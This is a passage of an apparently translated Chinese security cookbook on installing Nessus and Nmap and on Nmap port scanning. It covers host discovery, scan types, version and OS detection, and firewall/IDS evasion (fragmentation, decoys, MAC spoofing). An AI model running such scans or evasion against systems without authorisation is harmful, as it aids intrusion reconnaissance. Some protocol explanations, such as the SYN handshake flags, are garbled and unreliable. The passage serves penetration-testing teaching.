连接到互联网的计算机上,如果您正在使用 Nessus 浏览器界面进行安装,则插件的下载是一个自动过程。一旦您在 Nessus 上注册了许可证,您应该会看到一个插件下载屏幕。如果离线安装 Nessus,您将不得不在注册了 Nessus 许可证后从自定义生成的链接手动下载插件。根据您使用的操作系统,下载插件并将 ZIP 或 TAR 文件夹解压缩到以下目录:
- 在 Linux 中,安装到以下目录:
# /opt/nessus/sbin/
- 在 FreeBSD 中,安装到以下目录:
# /usr/local/nessus/sbin/
- 在 macOS X 中,安装到以下目录:
# /Library/Nessus/run/sbin/
- 在 Windows 中,安装到以下目录:
C:\Program Files\Tenable\Nessus
提取软件包后,您可以使用以下命令根据所使用的操作系统安装这些插件:
- 在 Linux 中,使用以下命令:
# /opt/nessus/sbin/nessuscli update <tar.gz filename>
- 在 FreeBSD 中,使用以下命令:
# /usr/local/nessus/sbin/nessuscli update <tar.gz filename>
- 在 macOS X 中,使用以下命令:
# /Library/Nessus/run/sbin/nessuscli update <tar.gz filename>
- 在 Windows 中,使用以下命令:
C:\Program Files\Tenable\Nessus>nessuscli.exe update <tar.gz filename>
还有更多…
如果连接到互联网时遇到任何问题,您可以选择在离线模式下激活,如下图所示:
为了使 Nessus 能够离线激活,您的本地浏览器上显示了一个挑战代码,Nessus 实例正在运行,或者可以使用以下命令手动显示:
- 在 Linux 中,使用以下命令:
# /opt/nessus/sbin/nessuscli fetch --challenge
- 在 FreeBSD 中,使用以下命令:
# /usr/local/nessus/sbin/nessuscli fetch --challenge
- 在 macOS X 中,使用以下命令:
# /Library/Nessus/run/sbin/nessuscli fetch --challenge
- 在 Windows 中,使用以下命令:
C:\Program Files\Tenable\Nessus>nessuscli.exe fetch --challenge
上述命令已配置为默认安装目录。将目录更改为您计算机上安装 Nessus 的位置。
您可以将此挑战代码复制到可以访问互联网的计算机上,并在 Nessus 网站的离线模块上生成许可证,生成许可证字符串。此许可证字符串可以在计算机上使用,无论是浏览器模式还是离线模式,都可以使用以下命令:
- 在 Linux 中,使用以下命令:
# /opt/nessus/sbin/nessuscli fetch --register-offline /opt/nessus/etc/nessus/nessus.license
- 在 FreeBSD 中,使用以下命令:
# /usr/local/nessus/sbin/nessuscli fetch --register-offline /usr/local/nessus/etc/nessus/nessus.license
- 在 macOS X 中,使用以下命令:
# /Library/Nessus/run/sbin/nessuscli fetch --register-offline /Library/Nessus/run/etc/nessus/nessus.license
- 在 Windows 中,使用以下命令:
C:\Program Files\Tenable\Nessus>nessuscli.exe fetch --register-offline "C:\ProgramData\Tenable\Nessus\conf\nessus.license"
下载和安装 Nmap
Nmap 是一个免费的开源网络扫描和审计工具,可在Nmap.org/
上获得。该工具是网络级安全审计的最重要组成部分之一,因为它允许用户通过提供有关开放端口和运行在这些端口上的服务的数据来监视或观察主机的网络级姿态。Nmap 工具还允许使用 Nmap 脚本引擎(NSE)与这些服务进行交互并运行各种脚本。以下命令是在主机127.0.0.1
上执行 TCP syn 全端口扫描的语法:
Nmap -sS -p1-65535 127.0.0.1
我们将在后续章节中研究 Nmap 工具的用法。
准备工作
Nmap 根据用户机器支持的架构和操作系统的版本和格式提供。Nmap 还有一个名为 Zenmap 的 GUI 版本,它提供更好的可见性以选择要运行的命令。它还作为操作系统的默认工具的一部分,用于利用和黑客技术,如 Kali Linux。用户可以根据其机器的配置选择 Nmap 的类型或版本;例如,我正在使用 Windows 7 64 位操作系统,因此我将选择支持 64 位 Windows 7 操作系统的最新稳定版本的可执行文件。如果您使用 64 位 Linux 或 Unix 发行版,可以在Nmap.org/
上下载 rpm 二进制包。
如何做…
执行以下步骤:
-
从
www.Nmap.org/download.html
下载适用的 Nmap 版本。 -
右键单击下载的文件,选择以管理员身份运行。这是为了确保工具在您的机器上正确安装所有权限。
-
之后,您将看到一个开源许可协议。阅读协议并点击同意,如下图所示:
- 选择要作为 Nmap 软件包的一部分安装的各种组件。这些实用程序提供更多功能,如数据包生成和比较。如果您觉得不需要这些额外的实用程序,可以取消选中该功能,如下图所示:
-
选择要安装工具的位置。默认情况下,该工具建议使用
C:\Program Files (x86)\Nmap\
路径。点击下一步。 -
安装需要 Npcap,Windows 的 Nmap 数据包嗅探库。按照说明安装 Npcap 以继续安装 Nmap 并等待安装完成。
工作原理…
安装完成后,打开命令提示符并输入Nmap
。如果 Nmap 工具安装正确,它应该加载 Nmap 的使用说明,如下所示:
还有更多…
在 Linux 发行版上安装 Nmap 是一个不同的过程。大多数基于 Linux 的操作系统都可以使用yum
和apt
等软件包管理工具进行单步安装。
确保机器连接到互联网并执行以下命令:
- 在 CentOS 上,使用以下命令:
yum install Nmap
- 在 Debian 或 Ubuntu 上,使用以下命令:
apt-get install Nmap
更新 Nessus
Nessus 可以手动更新,也可以安排自动更新。软件更新选项可以在设置菜单中找到。这可以用于为 Nessus 软件或插件安排每日、每周或每月更新。默认情况下,Nessus 使用其云服务器下载和安装更新,但您也可以配置自定义服务器来下载这些更新。
准备工作
您可以在连接到互联网或离线时更新 Nessus。如果您想要一个无忧的更新或快速更新,您可以确保系统连接到互联网。
但是,要离线更新 Nessus,您必须从 Nessus 网站下载更新包。
如何做…
按照以下步骤:
- 从主页导航到设置,然后选择软件更新:
-
选择更新频率:每天、每周或每月。
-
如果您有任何内部或外部服务器要求 Nessus 获取更新,请提供服务器详细信息。
-
保存设置,它们将自动应用。
-
为了手动安装更新,导航到设置,然后选择软件更新,然后选择手动软件更新,如下所示:
-
选择更新所有组件或更新插件以立即触发更新。
-
如果机器没有连接到互联网,您可以从 Tenable 网站下载更新包,并通过选择上传您自己的插件存档选项进行更新。
还有更多...
Nessus 有一个评估许可证,限制了您可以扫描的 IP 地址数量,还有一个完整的许可证,可以在一定时间内购买,并且没有对可以扫描的 IP 地址数量的任何限制。Nessus 的完全许可版本可在 Nessus 网站上以大约每台扫描仪 2500 美元的价格购买:
-
选择激活码旁边的编辑选项。
-
在显示的框中,选择正在使用的 Nessus 类型。
-
在激活码框中,输入您的新激活码。
-
选择激活。
完成后,Nessus 将下载所需的插件并自动安装它们。
更新 Nmap
更新 Nmap 最直接的方法是下载软件的最新可用版本,并手动安装软件包。
准备就绪
从nmap.org/download.html/
下载最新的稳定版本,确保选择适用于当前操作系统的正确版本。
如何做…
执行以下步骤:
-
右键单击下载的文件,然后选择以管理员身份运行。这是为了确保工具具有在您的机器上正确安装的所有权限。
-
之后,您将看到一个开源许可协议。阅读协议并点击同意,如下面的屏幕截图所示:
- 选择要作为 Nmap 软件包的一部分安装的各种组件。这些实用程序提供额外的功能,如数据包生成和比较。如果您不需要这些额外的实用程序,可以取消选中这些功能,如下面的屏幕截图所示:
-
选择要安装工具的位置。工具建议的默认路径是
C:\Program Files (x86)\Nmap\
。然后点击下一步。 -
安装需要 Npcap。这是 Nmap 的 Windows 数据包嗅探库。按照说明安装 Npcap 并继续安装 Nmap;等待安装完成。
移除 Nessus
删除 Nessus 软件类似于删除 Nmap。完成后,服务运行的端口将被释放,您将无法再访问 Web 界面。
准备就绪
删除 Nessus 的步骤因平台而异。在卸载 Nessus 之前,您可能希望通过以所需格式导出它们来备份所有策略和扫描数据;例如,NessusDB。
如何做…
按照以下步骤在 Windows 上卸载 Nessus:
-
在 Windows 机器上导航到控制面板
-
选择卸载或更改程序
-
在安装的软件列表中找到并选择 Nessus 软件包
-
点击卸载
这将从任何 Windows 机器中卸载 Nessus 软件及其数据。
还有更多...
在 Linux 上卸载 Nessus 的步骤如下:
为了确定要卸载的 Nessus 软件包的包名称,请使用以下命令来处理不同的平台:
- 在 Open Red Hat、CentOS、Oracle Linux、Fedora、SUSE 或 FreeBSD 中,使用以下命令:
# rpm -qa | grep Nessus
- 在 Open Debian/Kali 和 Ubuntu 中,使用以下命令:
# dpkg -l | grep Nessus
- 在 Open FreeBSD 中,使用以下命令:
# pkg_info | grep Nessus
使用从前述命令中获取的软件包信息作为相应平台的以下软件包移除命令的输入:
- 在 Open Red Hat、CentOS、Oracle Linux、Fedora 或 SUSE 中,如下所示:
# rpm -e <Package Name>
- 在 Open Debian/Kali 和 Ubuntu 中,如下所示:
# dpkg -r <package name>
- 在 Open FreeBSD 中,如下所示:
# pkg delete <package name>
使用此处提到的命令删除 Nessus 目录以删除任何其他文件:
- 在 Open Linux 中,使用以下命令:
# rm -rf /opt/nessus
- 在 Open FreeBSD 中,使用以下命令:
# rm -rf /usr/local/Nessus
如果在移除 Nessus 过程中遇到任何问题,请停止 Nessus 守护程序并尝试再次删除文件。
在 macOS 上卸载 Nessus,请执行以下步骤:
-
导航至系统偏好设置并选择Nessus
-
选择锁定选项
-
输入用户名和密码
-
选择停止 Nessus按钮
删除以下 Nessus 目录、子目录或文件:
-
/Library/Nessus
-
/Library/LaunchDaemons/com.tenablesecurity.nessusd.plist
-
/Library/PreferencePanes/Nessus Preferences.prefPane
-
/Applications/Nessus
删除这些文件将确保软件从机器上完全卸载。
移除 Nmap
在 Windows 和 Linux 上,卸载 Nmap 的过程非常简单。这将删除 Nmap 安装的所有依赖和库。
如何操作…
按照以下步骤在 Windows 上卸载 Nmap:
-
导航至 Windows 机器的控制面板
-
选择卸载或更改程序
-
在已安装软件列表中找到并选择 Nmap 软件包
-
点击卸载
这将从任何 Windows 机器中卸载 Nmap 软件及其数据。
还有更多…
在基于 Linux 的发行版中,您可以简单地删除与 Nmap 相关的所有文件夹以卸载 Nmap。如果您从下载的源安装了 Nmap,那么在相同文件夹中将存在一个卸载脚本,可以用它来卸载 Nmap。此外,如果它是安装在默认位置的,可以使用以下命令来删除它:
rm -f bin/Nmap bin/nmapfe bin/xnmap
rm -f man/man1/Nmap.1 man/man1/zenmap.1
rm -rf share/Nmap
./bin/uninstall_zenmap
第三章:端口扫描
在本章中,我们将介绍以下配方:
-
如何指定目标
-
如何执行主机发现
-
如何识别开放端口
-
如何管理规范和扫描顺序
-
如何执行脚本和版本扫描
-
如何检测操作系统
-
如何检测和绕过网络保护系统
-
如何使用 Zenmap
介绍
在本章中,我们将介绍各种配方,解释如何利用 Nmap 执行各种端口扫描技术。每个配方都将包含有关在测试虚拟机上执行 Nmap 扫描的实用见解,从而使您了解 Nmap 支持的各种开关的功能。
如何指定目标
nmap
命令将解释附加的任何内容,而不带有关联开关的目标。以下是指定要扫描的 IP 地址或主机名的基本语法:
nmap 127.0.0.1nmap localhost
主机名将与配置的 DNS 服务器解析,并获取 IP 地址执行扫描。如果一个主机名关联多个 IP 地址,则将扫描第一个 IP 地址并显示结果。以下语法允许nmap
对命令中提供的主机名解析的所有 IP 地址执行扫描:
nmap xyz.com*
Nmap 还支持扫描整个子网,只要在 IP 地址或主机名的末尾附加掩码即可。然后,Nmap 将考虑所提及掩码范围内的所有解析 IP 地址。例如,10.0.0.1/24
将扫描10.0.0.1
和10.0.0.255
之间的256
个主机,包括.1
和.255
。10.0.0.21/24
将扫描完全相同的目标。
Nmap 还允许您解析整个子网,然后排除某些主机进行扫描。例如,以下语法允许您扫描为10.0.0.1/24
解析的所有主机,但排除最后网络位为.1
或.255
的任何 IP 地址:
nmap 10.0.0.2-254
这可以用于四个网络位中的任何一个,例如10.0.1-254.1-254
,这将允许您跳过 IP 地址10.0.0.0
,10.0.0.255
,10.0.255.0
和10.0.255.255
。Nmap 还支持完全合格的 IPv6 地址,但不支持八位范围。对于具有非全局范围的 IPv6 地址,需要提及区域后缀 ID。
Nmap 支持各种输入格式,供用户指定目标。以下是可以用来提及指定格式上的主机的开关:
nmap –iL <inputfilename>
这将允许用户创建一个文本文件,其中列出了要扫描的所有 IP 地址/范围。当您有许多 IP 地址要扫描时,这是一个可行的选择。例如,如果您要扫描来自不同子网的所有 IP 地址,用于具有超过 10,000 个资产的中型组织,那么在命令行中输入这些 IP 地址是不可行的。相反,创建一个文本文件,列出要扫描的所有 IP 地址,并在-iL
之后提及带有绝对路径的文件名。然后,Nmap
从文件中获取 IP 地址列表并执行扫描:
nmap -iR <num hosts>
对于大型组织和基于互联网的扫描,您可能希望扫描随机目标或识别未知目标。-iR
开关与附加的要识别的随机主机数量将允许用户执行这些操作。例如,如果您要识别具有打开 ftp 端口的八个随机主机,则可以使用以下语法:
nmap –sS –Pn –p 21 –iR 8 --open
以下语法将帮助您在输入为服务器范围、子网或预先存在的大型服务器列表时排除服务器。与此开关一起提及的主机将被排除在扫描之外,从而防止服务器受到任何不必要的流量的影响:
nmap --exclude <host1>[,<host2>[,...]]
以下命令与前面的语法类似,只是主机排除列表是从文件中获取的,而不是手动提及服务器列表。当要排除的主机列表很长时,这是可行的:
nmap --excludefile <exclude_file>
准备工作
为了执行这项活动,您将需要满足您的机器上的以下先决条件:
-
安装 Nmap。
-
为要执行扫描的主机提供网络访问权限。
要安装 Nmap,您可以按照第二章中提供的说明进行操作,了解网络扫描工具。这将允许您下载兼容版本的 Nmap 并安装所有必需的插件。为了检查您的机器是否安装了 Nmap,请打开命令提示符并输入 Nmap。
如果安装了 Nmap,您将看到类似以下截图的屏幕:
如果您没有看到此屏幕,请将命令提示符控件移动到安装了 nmap
的文件夹中(C:\Program Files\nmap
)重试该步骤。即使这样做后仍然看不到屏幕,请删除并重新安装 nmap
。
为了填充要扫描的主机上的开放端口,您需要对该特定主机具有网络级别的访问权限。通过向主机发送 ping 数据包来检查您是否可以访问特定主机的简单方法。但是,如果 ICMP 被禁用,活动主机检测技术会有所不同,我们将在本配方的如何操作..部分中看到这一点。
这个配方的先决条件对本章中的所有其他配方都是通用的。
如何操作...
以下是步骤:
-
在命令提示符中打开
nmap
。 -
在命令提示符中输入以下语法,扫描 IP 地址
192.168.75.136
:
nmap 192.168.75.136
- 在命令提示符中输入以下语法,扫描
ip.txt
文件中存在的 IP 地址:
nmap -iL ip.txt
- 在命令提示符中输入以下语法,从扫描列表中排除
192.168.75.136
IP 地址:
nmap -v 192.168.75.135/28 --exclude 192.168.75.136
- 在命令提示符中输入以下语法,从扫描列表中排除
ip.txt
文件中提到的 IP 地址:
nmap –v 192.168.75.135/28 --excludefile ip.txt
它是如何工作的...
本配方中提到的选项帮助用户根据自己的便利选择目标,而不管他们的网络规模或提供的主机列表大小如何。Nmap 不需要用户输入要扫描的最终主机列表。相反,正如本配方所示,它提供了各种选项,以动态允许 Nmap 根据各种过滤器选择目标。基于文件的过滤器允许 Nmap 输入一个现成的主机列表,从而减少了定制或格式化列表所需的工作量。
如何执行主机发现
识别运行主机的基本技术之一是发送 ICMP ping 数据包并分析响应以得出结论。如果主机或网络在网络级别或主机级别阻止 ICMP 数据包,会怎么样?根据 ICMP 技术,主机或网络将不会出现在活动主机列表中。主机发现是网络渗透测试或漏洞扫描的核心组成部分。未完成的主机发现可能会忽略主机或网络的范围并执行任何进一步的操作,从而使网络变得脆弱。
Nmap 提供各种选项和技术,通过发送定制的数据包来识别活动主机以满足特定的网络条件。如果没有提供这样的选项,Nmap 默认发送 ICMP 回显以识别活动主机。提供的探针选项可以组合以增加识别更多端口的几率。一旦 Nmap 探测到活动主机并获得活动主机列表,它将默认扫描开放端口。
Nmap 提供以下选项来执行主机发现:
-
–sL:此选项列出提供的子网中存在的 IP 地址。它还尝试将 IP 地址解析为其主机名。主机名可以帮助攻击者或渗透测试人员了解网络的大量信息。您将无法将其与其他选项(如 OS 发现)结合使用,因为其功能仅是列出 IP 地址。
-
-sn
:此选项告诉 Nmap 在执行主机发现后不执行端口扫描。而是只列出找到的活动 IP 地址。这使用 ICMP 回显来识别可用主机,如果网络中存在防火墙,则无法正常工作。 -
-Pn
(无 ping):通常,Nmap 仅在发现主机活动时执行诸如探测、端口检测、服务检测和 OS 检测选项等活动。此选项允许 Nmap 对提供的主机列表执行所有扫描操作。例如,如果指定了一个带有子网/28
的 C 类 IP 地址,则 Nmap 将对所有255
个主机进行探测,而不是检查活动主机并对其执行活动。这是一个广泛的扫描选项,会产生大量流量。 -
-PS
(端口列表):此选项发送一个带有 SYN 标志的空 TCP 数据包。这也被称为 syn ping 数据包。通常,要进行完整的 TCP 连接,主机在接收到 SYN 数据包后会生成一个 ACK。一旦收到 ACK 数据包,Nmap 主机会生成一个 SYN/ACK 数据包,然后建立连接。相反,Nmap 发送一个 RST,即重置标志数据包,以关闭连接并声明端口为打开。这将允许您确定打开的端口,而无需实际创建连接,因为任何建立的连接都将在网络和系统级别记录下来。此选项还允许攻击者在执行检测时不留下任何痕迹。
-PS
和端口号之间没有空格。您还可以指定要执行操作的端口范围。
-
-PA
(端口列表):这类似于 SYN 扫描,也称为 TCP ACK ping 扫描。Nmap 生成带有 ACK 的 TCP 数据包。ACK 基本上是确认连接传输的任何数据,但从 Nmap 机器到主机没有现有连接,因此会返回一个启用了 RST 标志的数据包。这将允许 Nmap 确定端口是打开的并且有服务正在运行。 -
-PU
(端口列表):这与 TCP 扫描类似,但此 UDP ping 扫描用于 UDP 端口。对于大多数端口,数据包为空,除非是特定于服务的端口,例如 DNS 和 NTP。如果 DNS ping 数据包到达关闭的端口,则 UDP 探测应该触发主机的 ICMP 不可达响应。如果未生成此响应或连接似乎处于空闲状态,则意味着端口正在运行并且端口上正在运行服务。 -
-PY
(端口列表):此开关生成包含 INIT 数据部分的 SCTP 数据包。这意味着您正在尝试建立连接。如果目标端口关闭,则会发送一个 ABORT 数据包;否则,连接将继续到四次握手的下一步,通过回复 INIT-ACK。一旦收到 INIT-ACK,Nmap 机器发送一个 INIT-ACK 并将端口标记为打开,而不是创建连接。 -
-PO
(协议列表):此协议列表扫描允许 Nmap 在数据包头中配置启用了一对协议的数据包,例如 ICMP 和 IGMP,以查看是否有任何主机不可达响应,从而确定目标端口不支持这些协议,从而将端口标记为关闭。 -
-PR
(ARP Ping):ARP 扫描允许 Nmap 向远程主机发送 ARP 请求。如果有任何响应,Nmap 会将主机标记为活动,而不检查任何其他结果。它还支持 IPv6。 -
--disable-arp-ping
:这允许用户在网络设备或代理响应 ARP 请求时获得特定结果,从而使所有主机看起来都是活动的。 -
--traceroute
:Traceroute 是一个后扫描模块,用于确定到达远程主机的最佳端口。这通过发送低 TTL 数据包来实现。 -
-n
:这允许用户跳过 DNS 解析过程。这可能会很慢,因此扫描需要很长时间。 -
-R
:此选项是-n
的对应项。它要求 Nmap 对所有活动主机执行反向 DNS 解析。 -
--system-dns
:这可以用来指定解析时使用的 DNS 服务器应该是主机上配置的 DNS 服务器。 -
--dns-servers <server1>[,<server2>[,...]]
:此选项可用于定义用于反向 DNS 解析的特定 DNS 地址。
如何…
以下是步骤:
-
在命令提示符中打开
nmap
。 -
在命令提示符中运行以下语法,只执行活动扫描,而不探测端口扫描:
nmap –sn -v 192.168.75.135/28
- 在命令提示符中运行以下语法以执行无 ping 扫描:
nmap –Pn -v 192.168.75.135/28
工作原理…
这些选项帮助用户简化其要求,以识别活动主机并进一步进行探测。使用这些不同的扫描选项,用户可以针对特定端口和协议获取主机的当前状态。大多数这些选项可以进一步配置高级探测技术,例如服务检测和操作系统检测的参数,以获取有关这些实例的更多信息。
如何识别打开的端口
以下是 Nmap 中存在的六种端口状态:
-
open
:这意味着端口正在运行并且有一个服务正在访问它。因此,该服务可以接受根据端口上使用的协议和服务进行的任何连接。 -
closed
:关闭的端口没有被任何服务访问,上面没有运行任何服务。因此,外部不会成功连接到这些端口。 -
filtered
:此状态与由于网络中存在的数据包过滤机制而未收到响应的端口相关。这可能是由中间网络保护设备引起的。 -
unfiltered
:此状态与 Nmap 无法确定端口是打开还是关闭有关。大多数 ACK 扫描标签端口处于未过滤状态;此外,SYN 和 FIN 等扫描可以帮助解决此类问题。 -
Open|filtered
:当没有从端口收到响应时,Nmap 将此类型的端口分类。UDP、IP 协议、FIN、NULL 和 Xmas 扫描将此状态与端口相关联。 -
closed|filtered
:此状态与 Nmap 无法确定端口是打开还是关闭有关。只有空闲扫描使用此状态。Nmap 为用户提供各种扫描选项,以便用户制作数据包以获取 Nmap 所需的结果,以便分类端口是打开还是关闭。大多数这些扫描类型仅允许管理员用户使用,因为他们可以创建和发送原始数据包。 -
-sS(TCP SYN 扫描)
:这也被称为半开放扫描,因为 TCP 在建立连接之前需要完成三次握手。Nmap 机器生成一个 TCP SYN 数据包,远程端口响应 TCP ACK,然后 Nmap 发送一个 RST 标志来破坏握手,从而阻止连接。如果 Nmap SYN 数据包收到 ACK 或 SYN 数据包作为响应,则端口被认为是打开的。 -
-sT(TCP 连接扫描)
:如果用户没有发送原始数据包的必要权限,或者 SYN 扫描不可行,将使用 TCP 连接扫描。顾名思义,Nmap 执行完整的三次握手并创建连接以将端口视为打开。 -
-sU (UDP 扫描)
: UDP 扫描向知名端口发送一个数据包,如53
和61
,然后可以在所有端口上执行。它向著名端口发送特定于协议的数据包,并向其余端口发送通用 UDP 数据包。如果扫描的端口返回 ICMP 不可达错误,则该端口已关闭。但如果端口没有响应,则标记为开放过滤。为了找出端口是否实际运行了服务并且是开放的,我们可以运行服务检测扫描。 -
-sY (SCTP INIT 扫描)
: SCTP INIT 扫描已经在如何执行主机发现部分讨论过。要执行此扫描,应该有一个正在运行的 SCTP 模块。 -
-sN; -sF; -sX (TCP NULL、FIN 和 Xmas 扫描)
: 为了进行更深入的探测,Nmap 提供了一个选项,可以制作带有不同标志的数据包,如 FIN、PSH 和 URG。如果没有设置任何标志,则称为 Null 扫描。如果设置了 FIN 标志,则称为 FIN 扫描,如果设置了所有三个标志,则称为 Xmas 扫描。 -
-sA (TCP ACK 扫描)
: TCP ACK 扫描已经在如何执行主机发现部分讨论过。 -
-sW (TCP 窗口扫描)
: TCP 窗口扫描通过接收到的 RST 数据包的 TCP 窗口字段的值来工作。大多数系统对于关闭端口的 RST 数据包具有零窗口值,对于打开端口则具有正值。一旦接收到 RST 数据包,它将把端口列为关闭而不是未过滤。 -
--scanflags (自定义 TCP 扫描)
:自定义 TCP 扫描
允许用户在 TCP 数据包中设置各种标志,如 URG、SYN、ACK、FIN、PSH、URG 和 RST,从而允许用户为探测创建自定义数据包。 -
-sO (IP 协议扫描)
: 此扫描允许您定义正在执行扫描的协议,如 TCP、UDP、ICMP 和 IGMP,因此为探测创建了一个特定的数据包。 -
-b <FTP 中继主机> (FTP 反弹扫描)
: 这允许用户连接到一个 FTP 主机,然后将文件中继到另一个 FTP 主机,该主机在参数中提到。
如何做...
以下是步骤:
-
在命令提示符中打开
nmap
。 -
在命令提示符中运行以下语法以执行 TCP SYN 扫描:
nmap –v –sS 192.168.75.137
- 在命令提示符中运行以下语法以执行 TCP 连接扫描:
nmap –v –sT 192.168.75.137
- 在命令提示符中运行以下语法以执行 TCP NULL 扫描:
nmap –v –sN 192.168.75.137
它是如何工作的...
这些选项帮助用户简化其需求,以识别开放的端口,从而执行进一步的攻击。使用这些不同的端口扫描选项,用户可以针对特定端口和协议获取端口的当前状态。可以通过获取确切的服务名称和版本来对端口进行进一步的侦察,我们将在本书的后续部分中看到。
如何管理规范和扫描顺序
Nmap 提供了各种选项,以随机或顺序指定要扫描的端口。所有 Nmap 扫描,默认情况下只扫描前 1,000 个端口,没有指定任何端口或提供任何特定的 NSE 脚本作为参数:
-
-p <端口范围>
: 此选项可用于配置要以多种格式扫描的端口。它可以是一个范围或一个列表。语法的一般表示形式将是–p1-65535
,如果要执行完整的端口扫描,或者–p1
、2
、3
或4
作为一个非连续的随机列表。 -
--exclude-ports <端口范围>
: 当需要全端口扫描并排除一些端口时,准备要扫描的端口列表是一项繁琐的任务。在这种情况下,您可以使用排除端口标志来排除不需要扫描的端口。 -
-F (快速(有限端口)扫描)
: 快速扫描进一步将默认扫描的端口数量从 1,000 减少到 100。这将极大地减少扫描时间,从而提供更快的结果,正如其名称所示。 -
-r(不要随机化端口)
:默认情况下,Nmap 会对扫描的端口顺序进行随机化。此选项允许用户指示 Nmap 按照严格的顺序扫描端口。 -
--port-ratio <ratio>
:使用比给定比例大的比例扫描 Nmap-services 文件中的所有端口。<ratio>
必须在0.0
和1.0
之间。 -
--top-ports <n>
:在排除了--exclude-ports
指定的所有端口后,扫描 Nmap-services 文件中找到的<n>
个最高比例的端口。<n>
必须是1
或更大。
如何做…
以下是步骤:
-
在命令提示符中打开
nmap
。 -
在命令提示符中运行以下语法以在端口
0-100
之间执行扫描:
nmap 192.168.75.137 –p0-100
- 在命令提示符中运行以下语法以在前
100
个端口上执行快速扫描:
nmap –F 192.168.75.137
- 在命令提示符中运行以下语法以执行不带任何端口规范的扫描:
nmap 192.168.75.137
工作原理…
提供指定范围和列表中的端口的选项将允许用户优化其扫描,从而提供更快的结果,因为一般来说完整的端口扫描需要的时间是 1000 端口扫描或指定端口扫描的 10 倍。这也将允许用户找出具有特定开放端口的主机。
如何执行脚本和版本扫描
在进行渗透测试时,侦察对于通知测试的下一步非常重要。即使 Nmap 提供了开放端口和端口上运行的服务的版本,您仍需要知道正在运行的服务的确切版本或名称,以准备进一步的利用或获取对系统的进一步了解。
Nmap-service-probes 数据库包含特定的数据包构造技术,用于探测特定服务并分析从中收到的响应。Nmap 提供有关服务协议、应用程序名称、版本号、主机名、设备类型和操作系统系列的信息。有时还会确定服务是否开放连接,或者服务是否有默认登录可用:
-
-sV
(版本检测):此标志使 Nmap 能够对特定主机执行版本检测。此标志有可以与其一起使用的选项。 -
--allports
:Nmap 跳过了一些在建立连接时启用默认功能的端口。此选项将使用户跳过任何此类排除,并根据提供的语法执行全端口扫描。 -
--version-intensity <intensity>
:定义了配置探测版本的强度。此标志的值在0-9
之间, 默认值为7
。值越高,服务版本准确性越高。 -
--version-light
:用于配置轻量级探测以减少扫描时间。 -
--version-all
:这将将探测强度设置为9
,从而使扫描变慢,并且结果有可能更准确。 -
--version-trace
:这将打印有关正在执行的版本扫描的大量信息。
如何做…
以下是步骤:
-
在命令提示符中打开
nmap
。 -
在命令提示符中运行以下语法以在端口范围
0-100
上执行服务扫描:
nmap –sV 192.168.75.137 –p0-100
- 在命令提示符中运行以下语法以在端口范围
0-100
上执行服务扫描,并查看扫描的调试信息:
nmap –sV 192.168.75.137 –p0-100 –version-trace
工作原理…
版本扫描有助于用户获取运行的服务的近似版本和名称。例如,如果用户确定远程主机上运行的 FTP 的某个版本,他们可以搜索该版本的相关漏洞,因为会有版本相关的漏洞。
如何检测操作系统
Nmap 使用 TCP/IP 堆栈指纹识别进行操作系统检测。这是通过制作自定义 TCP 和 UDP 数据包并分析它们的响应来完成的。在生成各种此类探测并将结果与Nmap-os-db
数据库中的 2600 多个已知操作系统指纹进行比较后,提供操作系统版本。指纹提供了供应商名称、操作系统名称、操作系统生成、设备类型,以及它们的通用平台枚举(CPE)表示。Nmap 还为用户提供了一个选项,如果获得的指纹不在 Nmap 操作系统签名数据库中,则可以提交该指纹:
-
-O(启用操作系统检测):这将为 Nmap 扫描启用操作系统检测。该标志进一步具有可以与其一起使用的选项。
-
--osscan-limit:当扫描主机列表时,此选项将通过跳过没有用于操作系统检测的开放端口的主机来减少扫描时间,从而为活动主机提供更快的结果。
-
--osscan-guess; --fuzzy:如果 Nmap 无法识别操作系统,它会尝试提供最接近的签名,签名之间的相似性应该非常高。这里列出的标志将允许 Nmap 更积极地猜测是否找到了确切的操作系统。
-
--max-os-tries:如果操作系统探测无法识别完美匹配,默认情况下 Nmap 会重试五次。这将允许用户限制这些尝试,从而节省大量扫描时间。
如何做…
以下是步骤:
-
在命令提示符中打开
nmap
。 -
在命令提示符中运行以下语法以执行操作系统检测:
nmap –O 192.168.75.137
它是如何工作的…
识别远程主机上运行的操作系统对于任何漏洞扫描或渗透测试过程都非常有用,因为这将使您能够区分适用的漏洞和利用。
如何检测和绕过网络保护系统
Nmap 的基本功能是生成自定义数据包并分析它们的响应,一旦它们被发送到远程主机。这有时是不被防火墙和入侵预防和检测系统等网络保护系统允许的。在本教程中,我们将讨论一些可以用来绕过这些保护的方法。
-
-f(分段数据包):大多数防火墙执行有状态和无状态数据包检查,它们检查数据包的内容并根据其内容决定是否允许数据包通过。为了绕过这一点,Nmap 提供了一个选项来分段数据包,以便网络设备无法构造数据包以读取正确的内容,从而绕过保护。
-
--mtu(最大传输单元规范):这与创建不同大小的数据包的先前方法类似。使用 MTU,您可以指定数据包大小的倍数为
8
,如8
、16
、24
、32
等。这将允许 Nmap 创建这个大小的数据包,从而绕过保护。 -
-D(伪装地址):这将允许 Nmap 从伪装地址生成数据包。这将使用多个源 IP 地址生成类似的流量,从而使网络保护系统难以确定流量生成的来源。
-
--source-port(源端口规范):如果网络设备配置为禁止从特定端口生成的流量,使用此选项设置一个随机端口号将允许您绕过网络保护系统上的此配置。
-
--data-length(随机数据附加):使用此选项,您可以向 Nmap 生成的数据包添加数据,然后创建一个包含大量不必要的随机数据的数据包,使网络保护系统难以理解和阻止流量。
-
--randomize-hosts(随机化主机):此选项将允许 Nmap 通过生成无模式流量来随机扫描主机,这可能会被网络保护系统忽略。
-
--spoof-mac
(MAC 地址欺骗):此选项将允许用户绕过网络保护系统设置的任何 MAC 地址限制。
如何做…
以下是步骤:
-
在命令提示符中打开
nmap
。 -
在命令提示符中运行以下语法以执行生成分段数据包的扫描:
nmap -f 192.168.75.137
- 在命令提示符中运行以下语法以执行扫描以生成具有 MTU 规范的数据包:
nmap –mtu 24 192.168.75.137
- 在命令提示符中运行以下语法以执行从所述 IP 地址进行的诱饵扫描:
nmap –D 192.168.75.138 192.168.75.137
- 在命令提示符中运行以下语法以执行扫描以向数据包附加随机数据:
nmap -v --data-length 25 192.168.75.137
它是如何工作的…
诸如防火墙、入侵预防和检测系统之类的网络保护系统可能会通过丢弃 Nmap 生成的探测数据包而产生误报。绕过技术可用于在侦察中获得更好的结果。
如何使用 Zenmap
Zenmap 是 Nmap 的图形界面。它是开源的,并且与 Nmap 相同的安装包一起提供:
有时,使用命令行工具对管理员来说可能很繁琐,因此 Zenmap 充当了替代的图形用户界面选项。
如何做…
以下是步骤:
-
从程序列表中打开 Zenmap。
-
